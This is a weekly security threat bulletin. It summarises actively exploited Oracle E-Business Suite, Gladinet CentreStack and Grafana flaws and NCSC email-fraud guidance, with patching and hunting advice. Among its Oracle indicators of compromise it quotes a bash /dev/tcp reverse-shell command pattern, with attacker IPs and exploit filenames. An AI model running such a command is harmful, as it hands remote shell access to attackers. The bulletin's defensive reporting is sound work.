Periculo Threat Report - 13 October 2025

Compiled by Craig Pepper

This week's report we are facing a mix of old vulnerabilities being weaponised and new attack methods emerging fast. From a critical Oracle E-Business Suite flaw already being exploited in the wild to a pair of fresh SharePoint zero-days and a worrying Next.js authorisation bypass, attackers are proving that no platform is off-limits.

Oracle E-Business Suite zero-day (CVE-2025-61882) is under active exploitation

Oracle released an emergency fix for a critical unauthenticated RCE in E-Business Suite (EBS) after widespread exploitation by the Cl0p/"Graceful Spider" group. The flaw sits in the BI Publisher integration within Oracle Concurrent Processing and carries a CVSS 9.8. NHS England issued a High-severity Cyber Alert, and the NCSC urged immediate action. Admins must apply Oracle's out-of-band update and hunt for signs of compromise-not just patch and move on.

Recommendations

- Apply Oracle's security alert for CVE-2025-61882 and required prerequisite CPUs; verify to the current fixed build.
- Isolate EBS from the internet; enforce WAF rules and restrict to trusted IPs/VPN.
- Hunt for IOCs and unusual BI Publisher/Concurrent Processing activity; review outbound connections and reverse shells.
- Rotate credentials, invalidate sessions, and check for web shell remnants if signs of exploitation exist.

IOCs

- 200[.]107[.]207[.]26 and 185[.]181[.]60[.]11 observed contacting EBS
- Exploit artifacts: oracle_ebs_nday_exploit_poc_*.zip, exp.py, server.py
- Reverse shell pattern: sh -c /bin/bash -i >& /dev/tcp// 0>&1

Gladinet CentreStack/Triofox zero-day chain (CVE-2025-11371 → CVE-2025-30406) actively exploited

Huntress and BleepingComputer reported active exploitation of an unauthenticated LFI flaw (CVE-2025-11371) in Gladinet CentreStack/Triofox. Attackers read Web.config to extract machine keys, then pivot via CVE-2025-30406 for remote code execution.

Recommendations

- Apply Gladinet's temporary mitigation immediately (remove the temp handler line) and restrict external access; monitor for vendor patch.
- Rotate machine keys and app secrets; invalidate sessions/tokens.
- Hunt for ViewState exploitation and unusual app-pool activity; review web server logs for UploadDownloadProxy access.

CISA adds actively exploited vulnerabilities to KEV (incl. Grafana path traversal)

CISA added new entries to its Known Exploited Vulnerabilities (KEV) list, including Grafana path traversal (CVE-2021-43798). These indicate confirmed in-the-wild exploitation and demand immediate remediation.

Recommendations

- Cross-check KEV updates; patch or mitigate affected tech.
- Lock down Grafana (SSO/MFA, restricted ingress); rotate tokens if exposed.

- Subscribe to KEV updates for continuous risk management.

NCSC issues refreshed guidance on Business Email Compromise (BEC)

The NCSC issued new guidance on mitigating Business Email Compromise (BEC), a major cause of financial loss and data exposure.

Recommendations

- Enforce MFA and conditional access; monitor inbox rules and impossible travel.
- Implement DMARC (reject mode); verify financial changes out-of-band.
- Train staff to detect thread hijacks and document recall procedures.

This week's priorities: patch Oracle EBS now and hunt for exploitation, mitigate Gladinet CentreStack/Triofox if in use, and action the KEV entries-especially Grafana. Tighten BEC controls in finance and procurement. Need help? Speak with our team about our Threat Intelligence and tailored patch/hunt guidance for UK digital health.